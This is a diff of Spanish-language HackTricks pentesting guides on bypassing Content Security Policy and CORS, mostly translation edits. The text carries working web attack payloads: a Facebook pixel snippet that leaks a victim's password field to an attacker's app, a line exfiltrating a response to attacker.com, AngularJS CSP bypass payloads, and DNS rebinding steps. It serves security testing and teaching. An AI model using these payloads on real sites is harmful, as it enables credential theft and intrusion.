-284,18 +284,22 @@ Escenarios como este donde `script-src` está configurado en `self` y un dominio https://www.youtube.com/oembed?callback=alert; ``` + +```html + +``` [**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene puntos finales JSONP listos para usar para el bypass de CSP de diferentes sitios web.** La misma vulnerabilidad ocurrirá si el **punto final de confianza contiene una Redirección Abierta** porque si el punto final inicial es de confianza, las redirecciones son de confianza. ### Abusos de Terceros -Como se describe en el [siguiente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), hay muchos dominios de terceros que podrían estar permitidos en algún lugar del CSP, que pueden ser abusados para exfiltrar datos o ejecutar código JavaScript. Algunos de estos terceros son: +Como se describe en el [siguiente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), hay muchos dominios de terceros que, pueden estar permitidos en algún lugar del CSP, pueden ser abusados para exfiltrar datos o ejecutar código JavaScript. Algunos de estos terceros son: | Entidad | Dominio Permitido | Capacidades | | ------------------ | ------------------------------------------- | ------------ | | Facebook | www.facebook.com, \*.facebook.com | Exfil | -| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil | +| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil | | Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec | | Amazon CloudFront | \*.cloudfront.net | Exfil, Exec | | Amazon AWS | \*.amazonaws.com | Exfil, Exec | @@ -322,18 +326,18 @@ Deberías poder exfiltrar datos, de manera similar a como siempre se ha hecho co 5. Ve a "Administrador de eventos" de tu aplicación y selecciona la aplicación que creaste (ten en cuenta que el administrador de eventos podría encontrarse en una URL similar a esta: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events). 6. Selecciona la pestaña "Eventos de prueba" para ver los eventos que se envían desde "tu" sitio web. -Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el píxel de seguimiento de Facebook para apuntar al ID de aplicación de la cuenta de desarrollador de Facebook del atacante y emitir un evento personalizado como este: +Luego, en el lado de la víctima, ejecutas el siguiente código para inicializar el píxel de seguimiento de Facebook para apuntar al app-id de la cuenta de desarrollador de Facebook del atacante y emitir un evento personalizado como este: ```JavaScript fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account fbq('trackCustom', 'My-Custom-Event',{​ data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​ }); ``` -En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en que puedes abusar de ellos. Consulta la [entrada del blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) anterior para explicaciones adicionales sobre otros abusos de terceros. +En cuanto a los otros siete dominios de terceros especificados en la tabla anterior, hay muchas otras formas en que puedes abusar de ellos. Consulta la [entrada del blog](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) mencionada anteriormente para explicaciones adicionales sobre otros abusos de terceros. ### Bypass via RPO (Relative Path Overwrite) -Además de la redirección mencionada anteriormente para eludir las restricciones de ruta, hay otra técnica llamada Relative Path Overwrite (RPO) que se puede utilizar en algunos servidores. +Además de la redirección mencionada para eludir las restricciones de ruta, hay otra técnica llamada Relative Path Overwrite (RPO) que se puede utilizar en algunos servidores. Por ejemplo, si CSP permite la ruta `https://example.com/scripts/react/`, se puede eludir de la siguiente manera: ```html @@ -353,11 +357,12 @@ Ejemplo en línea:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsb ### Ejecución de JS en Iframes + {{#ref}} ../xss-cross-site-scripting/iframes-in-xss-and-csp.md {{#endref}} -### falta **base-uri** +### falta de **base-uri** Si falta la directiva **base-uri**, puedes abusar de ella para realizar una [**inyección de marcado colgante**](../dangling-markup-html-scriptless-injection/index.html). @@ -370,7 +375,7 @@ Si la página vulnerable se carga con **httpS**, utiliza una URL httpS en la bas Una política específica conocida como Content Security Policy (CSP) puede restringir los eventos de JavaScript. No obstante, AngularJS introduce eventos personalizados como una alternativa. Dentro de un evento, AngularJS proporciona un objeto único `$event`, que hace referencia al objeto de evento nativo del navegador. Este objeto `$event` puede ser explotado para eludir la CSP. Notablemente, en Chrome, el objeto `$event/event` posee un atributo `path`, que contiene un array de objetos implicados en la cadena de ejecución del evento, con el objeto `window` invariablemente posicionado al final. Esta estructura es fundamental para las tácticas de escape de sandbox. -Al dirigir este array al filtro `orderBy`, es posible iterar sobre él, aprovechando el elemento terminal (el objeto `window`) para activar una función global como `alert()`. El fragmento de código demostrado a continuación elucida este proceso: +Al dirigir este array al filtro `orderBy`, es posible iterar sobre él, aprovechando el elemento terminal (el objeto `window`) para activar una función global como `alert()`. El fragmento de código demostrado a continuación ilustra este proceso: ```xml #x ?search=#x @@ -385,7 +390,7 @@ Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none ``` Una política de CSP que permite dominios para la carga de scripts en una aplicación Angular JS puede ser eludida a través de la invocación de funciones de callback y ciertas clases vulnerables. Más información sobre esta técnica se puede encontrar en una guía detallada disponible en este [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22). -Cargas útiles: +Payloads funcionales: ```html ng-app"ng-csp ng-click=$event.view.alert(1337)> @@ -393,7 +398,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)> ``` -### A través de Bookmarklets +### Via Bookmarklets Este ataque implicaría algo de ingeniería social donde el atacante **convince al usuario de arrastrar y soltar un enlace sobre el bookmarklet del navegador**. Este bookmarklet contendría **código javascript malicioso** que, al ser arrastrado y soltado o clicado, se ejecutaría en el contexto de la ventana web actual, **eludiendo CSP y permitiendo robar información sensible** como cookies o tokens. Para más información [**consulta el informe original aquí**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). -### Eludir CSP restringiendo CSP +### Bypass de CSP restringiendo CSP -En [**este informe de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se elude inyectando dentro de un iframe permitido un CSP más restrictivo que no permitía cargar un archivo JS específico que, luego, a través de **contaminación de prototipos** o **dom clobbering** permitía **abusar de un script diferente para cargar un script arbitrario**. +En [**este writeup de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP se elude inyectando dentro de un iframe permitido un CSP más restrictivo que no permitía cargar un archivo JS específico que, luego, a través de **prototype pollution** o **dom clobbering** permitía **abusar de un script diferente para cargar un script arbitrario**. Puedes **restringir un CSP de un Iframe** con el **atributo `csp`**: ```html @@ -556,8 +561,8 @@ Puedes **restringir un CSP de un Iframe** con el **atributo `csp`**: src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"> ``` -En [**este informe de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), fue posible a través de **inyección de HTML** **restringir** más un **CSP** de modo que un script que prevenía CSTI fue deshabilitado y, por lo tanto, la **vulnerabilidad se volvió explotable.**\ -CSP se puede hacer más restrictivo utilizando **etiquetas meta de HTML** y los scripts en línea pueden deshabilitarse **eliminando** la **entrada** que permite su **nonce** y **habilitar scripts en línea específicos a través de sha**: +En [**este informe de CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), fue posible a través de **inyección HTML** **restringir** más un **CSP** de modo que un script que prevenía CSTI fue deshabilitado y, por lo tanto, la **vulnerabilidad se volvió explotable.**\ +CSP se puede hacer más restrictivo utilizando **etiquetas meta HTML** y los scripts en línea pueden deshabilitarse **eliminando** la **entrada** que permite su **nonce** y **habilitar scripts en línea específicos a través de sha**: ```html ` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y porque WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del endpoint **vulnerable** **callback** que **elude el CSP** para dar más privilegios a un usuario, instalar un nuevo plugin...\ +Un atacante puede abusar de ese endpoint para **generar un ataque SOME** contra WordPress y **incrustarlo** dentro de `` ten en cuenta que este **script** será **cargado** porque está **permitido por 'self'**. Además, y debido a que WordPress está instalado, un atacante podría abusar del **ataque SOME** a través del endpoint **vulnerable** **callback** que **elude el CSP** para dar más privilegios a un usuario, instalar un nuevo plugin...\ Para más información sobre cómo realizar este ataque consulta [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## CSP Exfiltration Bypasses @@ -673,7 +678,7 @@ Para evitar que esto suceda, el servidor puede enviar el encabezado HTTP: ``` X-DNS-Prefetch-Control: off ``` -> [!NOTE] +> [!TIP] > Aparentemente, esta técnica no funciona en navegadores sin cabeza (bots) ### WebRTC @@ -731,6 +736,7 @@ iconURL:"https:"+your_data+"example.com" - [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) - [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) +- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket) ​ diff --git a/src/pentesting-web/cors-bypass.md b/src/pentesting-web/cors-bypass.md index e30027818..b18f8542c 100644 --- a/src/pentesting-web/cors-bypass.md +++ b/src/pentesting-web/cors-bypass.md @@ -10,28 +10,28 @@ Una política de **same-origin** exige que un **servidor que solicita** un recur La aplicación de la política de same-origin en el contexto de `http://normal-website.com/example/example.html` se ilustra de la siguiente manera: -| URL accedida | ¿Acceso permitido? | +| URL accedida | ¿Acceso permitido? | | ----------------------------------------- | --------------------------------------- | | `http://normal-website.com/example/` | Sí: Esquema, dominio y puerto idénticos | | `http://normal-website.com/example2/` | Sí: Esquema, dominio y puerto idénticos | -| `https://normal-website.com/example/` | No: Esquema y puerto diferentes | -| `http://en.normal-website.com/example/` | No: Dominio diferente | -| `http://www.normal-website.com/example/` | No: Dominio diferente | -| `http://normal-website.com:8080/example/` | No: Puerto diferente\* | +| `https://normal-website.com/example/` | No: Esquema y puerto diferentes | +| `http://en.normal-website.com/example/` | No: Dominio diferente | +| `http://www.normal-website.com/example/` | No: Dominio diferente | +| `http://normal-website.com:8080/example/` | No: Puerto diferente\* | \*Internet Explorer ignora el número de puerto al hacer cumplir la política de same-origin, permitiendo así este acceso. -### Encabezado `Access-Control-Allow-Origin` +### Cabecera `Access-Control-Allow-Origin` -Este encabezado puede permitir **múltiples orígenes**, un valor **`null`** o un comodín **`*`**. Sin embargo, **ningún navegador soporta múltiples orígenes**, y el uso del comodín `*` está sujeto a **limitaciones**. (El comodín debe usarse solo, y su uso junto con `Access-Control-Allow-Credentials: true` no está permitido.) +Esta cabecera puede permitir **múltiples orígenes**, un valor **`null`** o un comodín **`*`**. Sin embargo, **ningún navegador soporta múltiples orígenes**, y el uso del comodín `*` está sujeto a **limitaciones**. (El comodín debe usarse solo, y su uso junto con `Access-Control-Allow-Credentials: true` no está permitido.) -Este encabezado es **emitido por un servidor** en respuesta a una solicitud de recurso de dominio cruzado iniciada por un sitio web, con el navegador añadiendo automáticamente un encabezado `Origin`. +Esta cabecera es **emitida por un servidor** en respuesta a una solicitud de recurso de dominio cruzado iniciada por un sitio web, con el navegador añadiendo automáticamente una cabecera `Origin`. -### Encabezado `Access-Control-Allow-Credentials` +### Cabecera `Access-Control-Allow-Credentials` -Por **defecto**, las solicitudes de origen cruzado se realizan sin credenciales como cookies o el encabezado de Autorización. Sin embargo, un servidor de dominio cruzado puede permitir la lectura de la respuesta cuando se envían credenciales configurando el encabezado `Access-Control-Allow-Credentials` a **`true`**. +Por **defecto**, las solicitudes de origen cruzado se realizan sin credenciales como cookies o la cabecera de autorización. Sin embargo, un servidor de dominio cruzado puede permitir la lectura de la respuesta cuando se envían credenciales configurando la cabecera `Access-Control-Allow-Credentials` a **`true`**. -Si se establece en `true`, el navegador transmitirá credenciales (cookies, encabezados de autorización o certificados de cliente TLS). +Si se establece en `true`, el navegador transmitirá credenciales (cookies, cabeceras de autorización o certificados de cliente TLS). ```javascript var xhr = new XMLHttpRequest() xhr.onreadystatechange = function () { @@ -64,7 +64,7 @@ xhr.send("Arun") Al iniciar una solicitud entre dominios bajo condiciones específicas, como el uso de un **método HTTP no estándar** (cualquier cosa que no sea HEAD, GET, POST), introduciendo nuevos **encabezados**, o empleando un valor especial para el **encabezado Content-Type**, puede ser necesaria una solicitud de pre-vuelo. Esta solicitud preliminar, que utiliza el método **`OPTIONS`**, sirve para informar al servidor sobre las intenciones de la próxima solicitud de origen cruzado, incluidos los métodos HTTP y encabezados que se pretende utilizar. -El protocolo de **Intercambio de Recursos de Origen Cruzado (CORS)** exige esta verificación de pre-vuelo para determinar la viabilidad de la operación de origen cruzado solicitada, verificando los métodos, encabezados permitidos y la confiabilidad del origen. Para una comprensión detallada de qué condiciones eluden la necesidad de una solicitud de pre-vuelo, consulte la guía completa proporcionada por [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests). +El protocolo de **Intercambio de Recursos de Origen Cruzado (CORS)** exige esta verificación de pre-vuelo para determinar la viabilidad de la operación de origen cruzado solicitada, verificando los métodos y encabezados permitidos, así como la confiabilidad del origen. Para una comprensión detallada de qué condiciones eluden la necesidad de una solicitud de pre-vuelo, consulte la guía completa proporcionada por [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests). Es crucial notar que la **ausencia de una solicitud de pre-vuelo no anula el requisito de que la respuesta lleve encabezados de autorización**. Sin estos encabezados, el navegador se ve incapacitado para procesar la respuesta de la solicitud de origen cruzado. @@ -87,7 +87,7 @@ Access-Control-Allow-Headers: Authorization Access-Control-Allow-Credentials: true Access-Control-Max-Age: 240 ``` -- **`Access-Control-Allow-Headers`**: Este encabezado especifica qué encabezados pueden ser utilizados durante la solicitud real. Es establecido por el servidor para indicar los encabezados permitidos en las solicitudes del cliente. +- **`Access-Control-Allow-Headers`**: Este encabezado especifica qué encabezados se pueden usar durante la solicitud real. Es establecido por el servidor para indicar los encabezados permitidos en las solicitudes del cliente. - **`Access-Control-Expose-Headers`**: A través de este encabezado, el servidor informa al cliente sobre qué encabezados pueden ser expuestos como parte de la respuesta además de los encabezados de respuesta simples. - **`Access-Control-Max-Age`**: Este encabezado indica cuánto tiempo se pueden almacenar en caché los resultados de una solicitud de pre-vuelo. El servidor establece el tiempo máximo, en segundos, que la información devuelta por una solicitud de pre-vuelo puede ser reutilizada. - **`Access-Control-Request-Headers`**: Utilizado en solicitudes de pre-vuelo, este encabezado es establecido por el cliente para informar al servidor sobre qué encabezados HTTP el cliente desea usar en la solicitud real. @@ -114,24 +114,24 @@ Content-Length: 0 ... ``` > [!WARNING] -> Tenga en cuenta que la IP de linux **0.0.0.0** funciona para **bypassear** estos requisitos para acceder a localhost, ya que esa dirección IP no se considera "local". +> Tenga en cuenta que la IP de linux **0.0.0.0** funciona para **bypasar** estos requisitos para acceder a localhost, ya que esa dirección IP no se considera "local". > -> También es posible **bypassear los requisitos de la red local** si utiliza la **dirección IP pública de un endpoint local** (como la IP pública del enrutador). Porque en varias ocasiones, incluso si se está accediendo a la **IP pública**, si es **desde la red local**, se otorgará acceso. +> También es posible **bypasar los requisitos de la red local** si utiliza la **dirección IP pública de un endpoint local** (como la IP pública del enrutador). Porque en varias ocasiones, incluso si se está accediendo a la **IP pública**, si es **desde la red local**, se otorgará acceso. ### Wildcards -Tenga en cuenta que incluso si la siguiente configuración puede parecer super permisiva: +Tenga en cuenta que incluso si la siguiente configuración puede parecer muy permisiva: ```bash Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true ``` Esto no está permitido por los navegadores y, por lo tanto, las credenciales no se enviarán con la solicitud permitida por esto. -## Configuraciones incorrectas explotables +## Configuraciones erróneas explotables Se ha observado que la configuración de `Access-Control-Allow-Credentials` a **`true`** es un requisito previo para la mayoría de los **ataques reales**. Esta configuración permite que el navegador envíe credenciales y lea la respuesta, mejorando la efectividad del ataque. Sin esto, el beneficio de hacer que un navegador emita una solicitud en lugar de hacerlo uno mismo disminuye, ya que aprovechar las cookies de un usuario se vuelve inviable. -### Excepción: Explotar la Ubicación de la Red como Autenticación +### Excepción: Explotar la ubicación de la red como autenticación Existe una excepción donde la ubicación de la red de la víctima actúa como una forma de autenticación. Esto permite que el navegador de la víctima se use como un proxy, eludiendo la autenticación basada en IP para acceder a aplicaciones de intranet. Este método comparte similitudes en impacto con el DNS rebinding, pero es más simple de explotar. @@ -184,11 +184,11 @@ location='https://attacker.com//log?key='+encodeURIComponent(this.responseText); ``` ### Técnicas de Bypass de Expresiones Regulares -Al encontrarse con una lista blanca de dominios, es crucial probar oportunidades de bypass, como agregar el dominio del atacante a un dominio en la lista blanca o explotar vulnerabilidades de toma de subdominio. Además, las expresiones regulares utilizadas para la validación de dominios pueden pasar por alto matices en las convenciones de nomenclatura de dominios, presentando más oportunidades de bypass. +Al encontrarse con una lista blanca de dominios, es crucial probar oportunidades de bypass, como agregar el dominio del atacante a un dominio en la lista blanca o explotar vulnerabilidades de toma de control de subdominios. Además, las expresiones regulares utilizadas para la validación de dominios pueden pasar por alto matices en las convenciones de nomenclatura de dominios, presentando más oportunidades de bypass. ### Bypasses Avanzados de Expresiones Regulares -Los patrones de regex típicamente se concentran en caracteres alfanuméricos, punto (.) y guion (-), descuidando otras posibilidades. Por ejemplo, un nombre de dominio diseñado para incluir caracteres interpretados de manera diferente por los navegadores y patrones de regex puede eludir las verificaciones de seguridad. El manejo de caracteres de subrayado en subdominios por parte de Safari, Chrome y Firefox ilustra cómo tales discrepancias pueden ser explotadas para eludir la lógica de validación de dominios. +Los patrones de regex típicamente se concentran en caracteres alfanuméricos, punto (.), y guion (-), descuidando otras posibilidades. Por ejemplo, un nombre de dominio diseñado para incluir caracteres interpretados de manera diferente por los navegadores y patrones de regex puede eludir las verificaciones de seguridad. El manejo de caracteres de subrayado en subdominios por parte de Safari, Chrome y Firefox ilustra cómo tales discrepancias pueden ser explotadas para eludir la lógica de validación de dominios. **Para más información y configuraciones de esta verificación de bypass:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **y** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397) @@ -196,7 +196,7 @@ Los patrones de regex típicamente se concentran en caracteres alfanuméricos, p ### Desde XSS dentro de un subdominio -Los desarrolladores a menudo implementan mecanismos defensivos para protegerse contra la explotación de CORS al blanquear dominios que están permitidos para solicitar información. A pesar de estas precauciones, la seguridad del sistema no es infalible. La presencia de incluso un solo subdominio vulnerable dentro de los dominios en la lista blanca puede abrir la puerta a la explotación de CORS a través de otras vulnerabilidades, como XSS (Cross-Site Scripting). +Los desarrolladores a menudo implementan mecanismos defensivos para protegerse contra la explotación de CORS al incluir en la lista blanca los dominios que están permitidos para solicitar información. A pesar de estas precauciones, la seguridad del sistema no es infalible. La presencia de incluso un solo subdominio vulnerable dentro de los dominios en la lista blanca puede abrir la puerta a la explotación de CORS a través de otras vulnerabilidades, como XSS (Cross-Site Scripting). Para ilustrar, considere el escenario donde un dominio, `requester.com`, está en la lista blanca para acceder a recursos de otro dominio, `provider.com`. La configuración del lado del servidor podría verse algo así: ```javascript @@ -224,7 +224,7 @@ HTTP/2 200 OK Access-Control-Allow-Origin: https://target.application_.arbitrary.com Access-Control-Allow-Credentials: true ``` -Safari es aún más permisivo al aceptar caracteres especiales en el nombre de dominio: +Safari es aún más indulgente al aceptar caracteres especiales en el nombre de dominio: ``` GET / HTTP/2 Cookie: @@ -239,6 +239,7 @@ Access-Control-Allow-Credentials: true ``` ### **Otros trucos divertidos de URL** + {{#ref}} ssrf-server-side-request-forgery/url-format-bypass.md {{#endref}} @@ -260,7 +261,7 @@ HTTP/1.1 200 OK Access-Control-Allow-Origin: z Content-Type: text/html; charset=UTF-7 ``` -Mientras que explotar directamente esta vulnerabilidad haciendo que un navegador web envíe un encabezado malformado no es factible, se puede generar manualmente una solicitud elaborada utilizando herramientas como Burp Suite. Este método podría llevar a que una caché del lado del servidor guarde la respuesta y, sin querer, la sirva a otros. La carga útil elaborada tiene como objetivo alterar el conjunto de caracteres de la página a UTF-7, una codificación de caracteres a menudo asociada con vulnerabilidades XSS debido a su capacidad para codificar caracteres de una manera que puede ser ejecutada como script en ciertos contextos. +Mientras que explotar directamente esta vulnerabilidad haciendo que un navegador web envíe un encabezado malformado no es factible, se puede generar manualmente una solicitud elaborada utilizando herramientas como Burp Suite. Este método podría llevar a que un caché del lado del servidor guarde la respuesta y, sin querer, la sirva a otros. La carga útil elaborada tiene como objetivo alterar el conjunto de caracteres de la página a UTF-7, una codificación de caracteres a menudo asociada con vulnerabilidades XSS debido a su capacidad para codificar caracteres de una manera que puede ser ejecutada como script en ciertos contextos. Para más información sobre vulnerabilidades XSS almacenadas, consulte [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored). @@ -270,9 +271,9 @@ Para más información sobre vulnerabilidades XSS almacenadas, consulte [PortSwi [**De esta investigación**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties) -En este escenario, se observa una instancia de una página web que refleja el contenido de un encabezado HTTP personalizado sin la codificación adecuada. Específicamente, la página web refleja de vuelta el contenido incluido en un encabezado `X-User-id`, que podría incluir JavaScript malicioso, como se demuestra en el ejemplo donde el encabezado contiene una etiqueta de imagen SVG diseñada para ejecutar código JavaScript al cargar. +En este escenario, se observa una instancia de una página web que refleja el contenido de un encabezado HTTP personalizado sin la codificación adecuada. Específicamente, la página web refleja de vuelta el contenido incluido en un encabezado `X-User-id`, que podría incluir JavaScript malicioso, como se demuestra en el ejemplo donde el encabezado contiene una etiqueta de imagen SVG diseñada para ejecutar código JavaScript al cargarse. -Las políticas de Cross-Origin Resource Sharing (CORS) permiten el envío de encabezados personalizados. Sin embargo, sin que la respuesta sea renderizada directamente por el navegador debido a las restricciones de CORS, la utilidad de tal inyección podría parecer limitada. El punto crítico surge al considerar el comportamiento de la caché del navegador. Si el encabezado `Vary: Origin` no está especificado, se vuelve posible que la respuesta maliciosa sea almacenada en caché por el navegador. Posteriormente, esta respuesta en caché podría ser renderizada directamente al navegar a la URL, eludiendo la necesidad de renderizado directo en la solicitud inicial. Este mecanismo mejora la fiabilidad del ataque al aprovechar la caché del lado del cliente. +Las políticas de Cross-Origin Resource Sharing (CORS) permiten el envío de encabezados personalizados. Sin embargo, sin que la respuesta sea renderizada directamente por el navegador debido a las restricciones de CORS, la utilidad de tal inyección podría parecer limitada. El punto crítico surge al considerar el comportamiento de caché del navegador. Si el encabezado `Vary: Origin` no está especificado, se vuelve posible que la respuesta maliciosa sea almacenada en caché por el navegador. Posteriormente, esta respuesta en caché podría ser renderizada directamente al navegar a la URL, eludiendo la necesidad de renderizado directo en la solicitud inicial. Este mecanismo mejora la fiabilidad del ataque al aprovechar la caché del lado del cliente. Para ilustrar este ataque, se proporciona un ejemplo de JavaScript, diseñado para ser ejecutado en el entorno de una página web, como a través de un JSFiddle. Este script realiza una acción simple: envía una solicitud a una URL especificada con un encabezado personalizado que contiene el JavaScript malicioso. Al completar con éxito la solicitud, intenta navegar a la URL objetivo, potencialmente activando la ejecución del script inyectado si la respuesta ha sido almacenada en caché sin un manejo adecuado del encabezado `Vary: Origin`. @@ -311,7 +312,7 @@ Intenta agregar un **`callback`** **parameter** en la solicitud. Tal vez la pág Una forma de eludir la restricción `Access-Control-Allow-Origin` es solicitando a una aplicación web que haga una solicitud en tu nombre y devuelva la respuesta. Sin embargo, en este escenario, las credenciales de la víctima final no se enviarán ya que la solicitud se realiza a un dominio diferente. 1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Esta herramienta proporciona un proxy que reenvía tu solicitud junto con sus encabezados, mientras también falsifica el encabezado Origin para que coincida con el dominio solicitado. Esto elude efectivamente la política de CORS. Aquí hay un ejemplo de uso con XMLHttpRequest: -2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Esta herramienta ofrece un enfoque alternativo para proxying solicitudes. En lugar de pasar tu solicitud tal cual, el servidor hace su propia solicitud con los parámetros especificados. +2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Esta herramienta ofrece un enfoque alternativo para hacer proxy de solicitudes. En lugar de pasar tu solicitud tal cual, el servidor hace su propia solicitud con los parámetros especificados. ### Bypass de Iframe + Popup @@ -321,29 +322,29 @@ Puedes **eludir las verificaciones de CORS** como `e.origin === window.origin` * xss-cross-site-scripting/iframes-in-xss-and-csp.md {{#endref}} -### Rebinding DNS a través de TTL +### Rebinding de DNS a través de TTL -El rebinding DNS a través de TTL es una técnica utilizada para eludir ciertas medidas de seguridad manipulando registros DNS. Así es como funciona: +El rebinding de DNS a través de TTL es una técnica utilizada para eludir ciertas medidas de seguridad manipulando registros DNS. Así es como funciona: 1. El atacante crea una página web y hace que la víctima acceda a ella. 2. El atacante luego cambia el DNS (IP) de su propio dominio para apuntar a la página web de la víctima. -3. El navegador de la víctima almacena en caché la respuesta DNS, que puede tener un valor TTL (Time to Live) que indica cuánto tiempo se debe considerar válido el registro DNS. +3. El navegador de la víctima almacena en caché la respuesta DNS, que puede tener un valor de TTL (Tiempo de Vida) que indica cuánto tiempo se debe considerar válido el registro DNS. 4. Cuando expira el TTL, el navegador de la víctima realiza una nueva solicitud DNS, lo que permite al atacante ejecutar código JavaScript en la página de la víctima. 5. Al mantener el control sobre la IP de la víctima, el atacante puede recopilar información de la víctima sin enviar ninguna cookie al servidor de la víctima. -Es importante notar que los navegadores tienen mecanismos de caché que pueden prevenir el abuso inmediato de esta técnica, incluso con valores TTL bajos. +Es importante notar que los navegadores tienen mecanismos de caché que pueden prevenir el abuso inmediato de esta técnica, incluso con valores de TTL bajos. -El rebinding DNS puede ser útil para eludir verificaciones de IP explícitas realizadas por la víctima o para escenarios donde un usuario o bot permanece en la misma página durante un período prolongado, permitiendo que la caché expire. +El rebinding de DNS puede ser útil para eludir verificaciones de IP explícitas realizadas por la víctima o para escenarios donde un usuario o bot permanece en la misma página durante un período prolongado, permitiendo que la caché expire. -Si necesitas una forma rápida de abusar del rebinding DNS, puedes usar servicios como [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html). +Si necesitas una forma rápida de abusar del rebinding de DNS, puedes usar servicios como [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html). -Para ejecutar tu propio servidor de rebinding DNS, puedes utilizar herramientas como **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Esto implica exponer tu puerto local 53/udp, crear un registro A que apunte a él (por ejemplo, ns.example.com), y crear un registro NS que apunte al subdominio A creado previamente (por ejemplo, ns.example.com). Cualquier subdominio del subdominio ns.example.com será resuelto por tu host. +Para ejecutar tu propio servidor de rebinding de DNS, puedes utilizar herramientas como **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Esto implica exponer tu puerto local 53/udp, crear un registro A que apunte a él (por ejemplo, ns.example.com), y crear un registro NS que apunte al subdominio A creado previamente (por ejemplo, ns.example.com). Cualquier subdominio del subdominio ns.example.com será resuelto por tu host. También puedes explorar un servidor en funcionamiento públicamente en [http://rebind.it/singularity.html](http://rebind.it/singularity.html) para una mejor comprensión y experimentación. -### Rebinding DNS a través de **DNS Cache Flooding** +### Rebinding de DNS a través de **DNS Cache Flooding** -El rebinding DNS a través de DNS cache flooding es otra técnica utilizada para eludir el mecanismo de caché de los navegadores y forzar una segunda solicitud DNS. Así es como funciona: +El rebinding de DNS a través de la inundación de caché DNS es otra técnica utilizada para eludir el mecanismo de caché de los navegadores y forzar una segunda solicitud DNS. Así es como funciona: 1. Inicialmente, cuando la víctima realiza una solicitud DNS, se responde con la dirección IP del atacante. 2. Para eludir la defensa de caché, el atacante aprovecha un service worker. El service worker inunda la caché DNS, lo que efectivamente elimina el nombre del servidor del atacante almacenado en caché. @@ -351,13 +352,13 @@ El rebinding DNS a través de DNS cache flooding es otra técnica utilizada para Al inundar la caché DNS con el service worker, el atacante puede manipular el proceso de resolución DNS y forzar al navegador de la víctima a realizar una segunda solicitud, esta vez resolviendo a la dirección IP deseada por el atacante. -### Rebinding DNS a través de **Cache** +### Rebinding de DNS a través de **Cache** Otra forma de eludir la defensa de caché es utilizando múltiples direcciones IP para el mismo subdominio en el proveedor de DNS. Así es como funciona: 1. El atacante configura dos registros A (o un solo registro A con dos IPs) para el mismo subdominio en el proveedor de DNS. 2. Cuando un navegador verifica estos registros, recibe ambas direcciones IP. -3. Si el navegador decide usar la dirección IP del atacante primero, el atacante puede servir una carga útil que realiza solicitudes HTTP al mismo dominio. +3. Si el navegador decide usar primero la dirección IP del atacante, el atacante puede servir una carga útil que realice solicitudes HTTP al mismo dominio. 4. Sin embargo, una vez que el atacante obtiene la dirección IP de la víctima, deja de responder al navegador de la víctima. 5. El navegador de la víctima, al darse cuenta de que el dominio no responde, pasa a usar la segunda dirección IP dada. 6. Al acceder a la segunda dirección IP, el navegador elude la Política de Mismo Origen (SOP), permitiendo al atacante abusar de esto y recopilar y exfiltrar información. @@ -366,7 +367,7 @@ Esta técnica aprovecha el comportamiento de los navegadores cuando se proporcio > [!WARNING] 